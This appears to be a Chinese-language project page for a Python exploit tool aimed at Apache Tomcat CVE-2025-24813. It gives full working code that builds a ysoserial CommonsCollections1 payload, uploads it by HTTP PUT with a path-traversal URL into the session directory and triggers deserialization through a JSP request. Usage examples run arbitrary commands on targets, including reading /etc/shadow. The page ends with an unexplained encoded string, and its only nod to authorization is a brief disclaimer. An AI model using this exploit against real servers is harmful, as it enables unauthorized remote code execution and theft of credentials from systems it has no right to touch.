Apache Tomcat 会话反序列化远程代码执行漏洞利用工具(CVE-2025-24813)

4 阅读5分钟

Apache Tomcat 远程代码执行漏洞利用工具(CVE-2025-24813)

项目概述

本项目是一个针对Apache Tomcat特定安全漏洞(CVE-2025-24813)的远程代码执行漏洞利用工具。该工具利用Tomcat在处理会话文件时存在的不安全反序列化问题,允许攻击者在具有特定配置的服务器上执行任意命令。

受影响版本

  • Apache Tomcat 9.x
  • Apache Tomcat 10.x(已确认受影响的版本)

漏洞类型:远程代码执行(RCE) 攻击方式:通过HTTP PUT方法上传恶意序列化会话文件,并触发JSP文件请求

功能特性

  • 自动Payload生成:集成ysoserial框架,自动生成反序列化Payload
  • PUT方法检测:自动检测目标服务器是否支持HTTP PUT方法
  • 智能会话管理:随机生成会话文件名,避免重复冲突
  • 文件清理机制:自动删除本地生成的临时Payload文件
  • 状态码分析:根据服务器响应状态码判断漏洞利用成功与否
  • 命令自定义:支持用户自定义要在目标服务器上执行的命令

安装指南

系统要求

  • Python 3.6 或更高版本
  • Java运行环境(用于运行ysoserial.jar)
  • 网络访问权限

依赖安装

  1. 克隆本项目:
git clone [项目仓库地址]
cd Apache-Tomcat-RCE-CVE-2025-24813
  1. 安装Python依赖:
pip install requests
  1. 下载并配置ysoserial:
wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar -O ysoserial.jar

注意事项

  • 仅在授权的渗透测试环境中使用本工具
  • 需要目标服务器支持HTTP PUT方法
  • 需要目标服务器会话目录具有写权限
  • 使用前请确保已获得合法授权

使用说明

基础用法

# 基本漏洞检测(默认执行id命令)
python exploit.py http://target-server:8080

# 执行自定义命令
python exploit.py http://target-server:8080 --cmd "whoami"

# 执行复杂命令
python exploit.py http://target-server:8080 --cmd "cat /etc/passwd"

参数说明

  • target:目标URL(必需参数)
  • --cmd:要在目标服务器上执行的命令(可选,默认为"id")

使用示例

# 示例1:检测目标服务器漏洞
python exploit.py http://192.168.1.100:8080

# 示例2:获取服务器系统信息
python exploit.py http://192.168.1.100:8080 --cmd "uname -a"

# 示例3:读取敏感文件
python exploit.py http://192.168.1.100:8080 --cmd "cat /etc/shadow"

核心代码

主执行逻辑

#!/usr/bin/env python3
# Exploit Title: Apache Tomcat - Remote Code Execution via Session Deserialization (CVE-2025-24813)
# Date: 2025-05-25
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://tomcat.apache.org
# Software Link: https://tomcat.apache.org/download-90.cgi
# Version: Apache Tomcat 9.x, 10.x (confirmed vulnerable versions)
# Tested on: Apache Tomcat 10.1.8 on Ubuntu 22.04
# CVE: CVE-2025-24813
# Category: Remote
# Type: RCE
# Description:
# This exploit leverages a Remote Code Execution vulnerability in Apache Tomcat due to unsafe deserialization of session files.
# By uploading a malicious serialized Java payload to a writable session directory and triggering a request to a JSP file,
# the attacker can achieve arbitrary command execution on the server.

import requests
import os
import random
import string
import subprocess
import argparse

def random_session(length=10):
    """
    生成随机会话名称
    参数: length - 会话名称长度
    返回: 随机字符串
    """
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))

def build_payload(command, filename):
    """
    构建反序列化Payload
    参数: command - 要执行的命令
         filename - 输出文件名
    """
    try:
        print("[*] Creating serialized payload...")
        # 使用ysoserial生成恶意序列化对象
        with open(filename, 'wb') as f:
            subprocess.run(["java", "-jar", "ysoserial.jar", "CommonsCollections1", command], stdout=f, check=True)
        print(f"[+] Payload written to: {filename}")
    except Exception as e:
        print(f"[!] Failed to create payload: {e}")
        exit(1)

def check_put(target):
    """
    检查目标服务器是否支持PUT方法
    参数: target - 目标URL
    返回: 布尔值,表示是否支持PUT
    """
    try:
        url = f"{target}/check.txt"
        r = requests.put(url, data="test")
        # 返回200、201、204或409状态码表示支持PUT
        return r.status_code in [200, 201, 204, 409]
    except:
        return False

def upload_payload(target, session_name, filename):
    """
    上传Payload到目标服务器
    参数: target - 目标URL
         session_name - 会话名称
         filename - 要上传的文件名
    返回: 服务器响应状态码
    """
    url = f"{target}/uploads/../sessions/{session_name}.session"
    headers = {"Content-Type": "application/octet-stream"}
    try:
        with open(filename, 'rb') as f:
            data = f.read()
        r = requests.put(url, headers=headers, data=data)
        print(f"[*] Upload response: {r.status_code}")
        return r.status_code
    except Exception as e:
        print(f"[!] Upload failed: {e}")
        return 0

def trigger_payload(target):
    """
    触发Payload执行
    参数: target - 目标URL
    返回: 服务器响应状态码
    """
    try:
        # 访问JSP文件以触发会话反序列化
        r = requests.get(f"{target}/index.jsp", timeout=5)
        return r.status_code
    except Exception as e:
        print(f"[!] Trigger error: {e}")
        return 0

def clean_file(f):
    """
    清理临时文件
    参数: f - 文件名
    """
    try:
        os.remove(f)
        print("[*] Temporary file removed.")
    except:
        pass

def main():
    """
    主函数:解析参数并执行漏洞利用流程
    """
    parser = argparse.ArgumentParser(description="Apache Tomcat RCE Exploit - CVE-2025-24813")
    parser.add_argument("target", help="Target URL (e.g., http://127.0.0.1:8080)")
    parser.add_argument("--cmd", default="id", help="Command to execute on target")
    args = parser.parse_args()

    # 1. 检查PUT方法支持
    if not check_put(args.target):
        print("[-] Target does not support PUT method.")
        return

    # 2. 准备Payload
    session = random_session()
    payload_file = "payload.ser"

    build_payload(args.cmd, payload_file)

    # 3. 上传Payload
    status = upload_payload(args.target, session, payload_file)
    if status in [200, 201, 409]:
        print("[+] Payload uploaded successfully.")
        
        # 4. 触发Payload
        result = trigger_payload(args.target)
        if result == 500:
            print(f"[+] Target {args.target} is vulnerable to CVE-2025-24813!")
        else:
            print("[-] Deserialization did not trigger (try different JSP path).")
    else:
        print("[-] Payload upload failed.")

    # 5. 清理临时文件
    clean_file(payload_file)

if __name__ == "__main__":
    main()

漏洞利用流程

  1. PUT方法检测:首先检测目标服务器是否允许HTTP PUT请求
  2. Payload生成:使用ysoserial生成反序列化Payload,使用CommonsCollections1链
  3. 文件上传:将Payload上传到服务器的会话目录(通过路径遍历绕过限制)
  4. 漏洞触发:访问JSP文件以触发会话反序列化过程
  5. 结果验证:根据服务器响应状态码判断漏洞是否成功利用
  6. 环境清理:删除本地生成的临时Payload文件

技术要点

  • 路径遍历:利用/uploads/../sessions/路径绕过可能的访问限制
  • 会话命名:使用随机生成的会话名称避免文件覆盖和检测
  • 状态码判断
    • 200/201/409:文件上传成功
    • 500:服务器内部错误,通常表示反序列化执行成功
    • 其他:漏洞利用失败

注意:本工具仅用于授权的安全测试和教育目的。未经授权对他人系统进行测试是非法行为。 6HFtX5dABrKlqXeO5PUv/5Hs583UIvfm5lM2/kIXQ8NjvVp1iLvR5+0tVxBasskdoBgeGjvY2Rs9RZin3EkSaOE1xlPzgjxFDZ1bZQoD4Z3xm3vAJJFgKgFe+qpKhvQGS3QRqFf4Gq/m8sYE4O0IEQ==